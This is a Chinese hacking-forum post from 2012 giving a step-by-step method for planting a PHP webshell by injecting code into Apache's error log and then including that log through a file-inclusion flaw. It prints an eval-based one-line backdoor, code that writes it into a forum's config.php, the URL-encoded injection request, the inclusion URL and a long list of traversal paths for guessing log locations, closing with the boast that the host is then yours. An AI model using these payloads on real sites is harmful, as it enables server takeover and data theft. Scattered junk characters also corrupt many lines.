中国网络渗透测试联盟

标题: php包含apache日志写马 [打印本页]
作者: admin    时间: 2012-9-15 14:27
标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 6 c4 G; P$ }  X9 s9 E$ u

' E# F0 [5 E7 @# _6 U- j" \比如还是这句一句话木马
8 v% b' o/ F' c( j7 _7 L<?eval($_POST[cmd]);?>   & g+ D: o1 M1 s7 g+ r. G; [
# c% n9 C9 D  b, {& X7 w
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 4 s% @$ X, R' u* X
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 2 z' p7 R( O, e! o) \! ~+ L0 \6 _

- o4 J" c  v, ^+ K# m<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
8 p1 ]3 q$ `  C8 l4 X7 _' Ufclose($fp);?>   //在config.php里写入一句木马语句
3 B' J1 c  _1 M* m# k9 N- l$ u$ N- x/ }/ X* S# C/ G4 ^( k
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 ' N+ a9 l/ b8 C8 r
转换为
$ g' T- R0 R/ ?; w6 Z" O0 |4 z%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F , d0 G7 |* S( H" _
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
( A1 ~( w  F: M- o3 Z%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B . U4 l3 N4 G: @$ [' ^
fclose%28%24fp%29%3B%3F%3E
$ B+ z9 A  J" X0 S9 T/ r我们提交
- }* X$ s9 u4 R" w& }, z6 B8 k, khttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 4 u9 H9 w2 I3 S& q, a  y; W( m( P6 w
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
# |0 Y8 C8 f( l& B%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
7 e3 C  H, H: acmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 9 n) Z% |- M" ]0 ~" n
( O7 |' f$ P9 z. i$ Q. a
这样就错误日志里就记录下了这行写入webshell的代码。
. E: ~. H& m9 a: N我们再来包含日志，提交
' |/ d7 r1 z5 h5 S' Phttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 8 {5 a1 C0 Y' g) s

1 J) \3 U" C4 t这样webshell就写入成功了，config.php里就写入一句木马语句
# B7 [2 B- W: A) q) pOK.
* ]' P. c. @! ?" F" [http://www.xxx.com/forum/config.php这个就成了我们的webshell ! l% }' ]7 O3 p: g, k5 W- S
直接用lanker的客户端一连，主机就是你的了。
: M% S9 R9 o  Q& M) d5 m3 S: S/ j2 ?8 m7 c( B/ j
PS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
1 V- a$ q& S# Y% |# P/ H8 k7 _! K* L4 x1 m
其他的日志路径，你可以去猜，也可以参照这里。 ; f; Y5 Z  y6 k  b% d- t9 k# x
../../../../../../../../../../var/log/httpd/access_log / H3 ^! A1 ^) ?) Q5 |. X& n
../../../../../../../../../../var/log/httpd/error_log
* i, ^/ d' Z0 C6 w../apache/logs/error.log ( a7 y3 |; E5 C5 _: h
../apache/logs/access.log
6 E1 z7 w+ t- `" r8 \* |4 D../../apache/logs/error.log
( h4 `" n( E6 S../../apache/logs/access.log : ]" h  O& E3 B' l9 b( [2 K
../../../apache/logs/error.log
+ P# h- ~$ R9 q, {9 B9 T7 Z../../../apache/logs/access.log
5 S& m/ d! D* s# o* L( X1 o/ d! n../../../../../../../../../../etc/httpd/logs/acces_log
$ o" ^7 I) ]/ c  Z& }  A+ p../../../../../../../../../../etc/httpd/logs/acces.log ( N' q2 ?$ @, z& T
../../../../../../../../../../etc/httpd/logs/error_log
# M! H7 y) W2 c* }5 c/ O7 g../../../../../../../../../../etc/httpd/logs/error.log 8 v2 ^6 p$ b2 e+ X
../../../../../../../../../../var/www/logs/access_log
7 V3 `" k% }* B3 R../../../../../../../../../../var/www/logs/access.log 9 g; x4 J- j* v& C4 X6 G/ N" R8 a
../../../../../../../../../../usr/local/apache/logs/access_log , Q8 v% A+ i/ D  N
../../../../../../../../../../usr/local/apache/logs/access.log
, j& Q, @& c) s8 ^../../../../../../../../../../var/log/apache/access_log , k' i9 A$ {, I% [9 [
../../../../../../../../../../var/log/apache/access.log 7 ], I5 z6 Z9 v9 R
../../../../../../../../../../var/log/access_log * {, Y$ {" h+ Z0 E( U8 B- c
../../../../../../../../../../var/www/logs/error_log / `& N- W! j4 G: y, [' f% {8 y
../../../../../../../../../../var/www/logs/error.log
; F8 E( V. V4 I5 P% ]../../../../../../../../../../usr/local/apache/logs/error_log $ O9 k6 C- X$ i. l' R3 D* q$ W# d
../../../../../../../../../../usr/local/apache/logs/error.log 2 X) D1 f  I) |' U. L6 @
../../../../../../../../../../var/log/apache/error_log
% h; ~$ z5 W# ~+ R6 J../../../../../../../../../../var/log/apache/error.log 2 W% D9 [' Q, Q5 r% m" j8 O
../../../../../../../../../../var/log/access_log 7 N9 M7 P: q) J. F8 U3 J
../../../../../../../../../../var/log/error_log
0 `  a  x3 `: Q/var/log/httpd/access_log       9 M/ a% A3 r% k. k3 w! a6 L
/var/log/httpd/error_log     ) N+ P# [1 H& J5 p  N
../apache/logs/error.log     . P( B* b$ O% @7 {
../apache/logs/access.log " n% W7 Z1 u2 W& l& R9 [. R- m" ?
../../apache/logs/error.log
) I% ?0 E  w* G. }  S3 n: e../../apache/logs/access.log
6 W; z2 o! t( W6 M; t../../../apache/logs/error.log
, N8 l  A4 P' a) f. O. H( M- D../../../apache/logs/access.log 2 ?4 _  ]5 i% F8 o. F
/etc/httpd/logs/acces_log 0 O5 g, G! Z4 d, M3 F* q
/etc/httpd/logs/acces.log
6 c$ ^- A' ]) X& P/etc/httpd/logs/error_log
# Y. n( H2 W' r% o/etc/httpd/logs/error.log 9 n' U# W  e( D  Z; |  W* Q6 {
/var/www/logs/access_log 2 Y4 S# M# G% F$ k* L" L, Q
/var/www/logs/access.log
, F& q( H: x. I: K) t" {1 J- D/usr/local/apache/logs/access_log
2 Y6 X8 N0 J: h9 i+ g9 O/usr/local/apache/logs/access.log * ]. F3 r  V+ |  |5 \" \
/var/log/apache/access_log
) {/ [+ E! Y/ h" U2 d# {, q$ N/var/log/apache/access.log
& `6 v0 Y# U; z) c/var/log/access_log
, I" d2 `8 {) }. B( p/var/www/logs/error_log
' l- y; F6 o; V5 P/var/www/logs/error.log
. l9 ~! ?/ c, O2 S1 D/usr/local/apache/logs/error_log 3 @1 d9 d6 j6 j, \" z9 d/ {
/usr/local/apache/logs/error.log 8 Z& I4 N) f1 U. Y/ t
/var/log/apache/error_log % X! }. s; u- k5 t+ B
/var/log/apache/error.log
8 u" Y" N' I' m/ m/var/log/access_log 1 S& K9 ]5 a3 m- A6 l; s4 p* z
/var/log/error_log



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2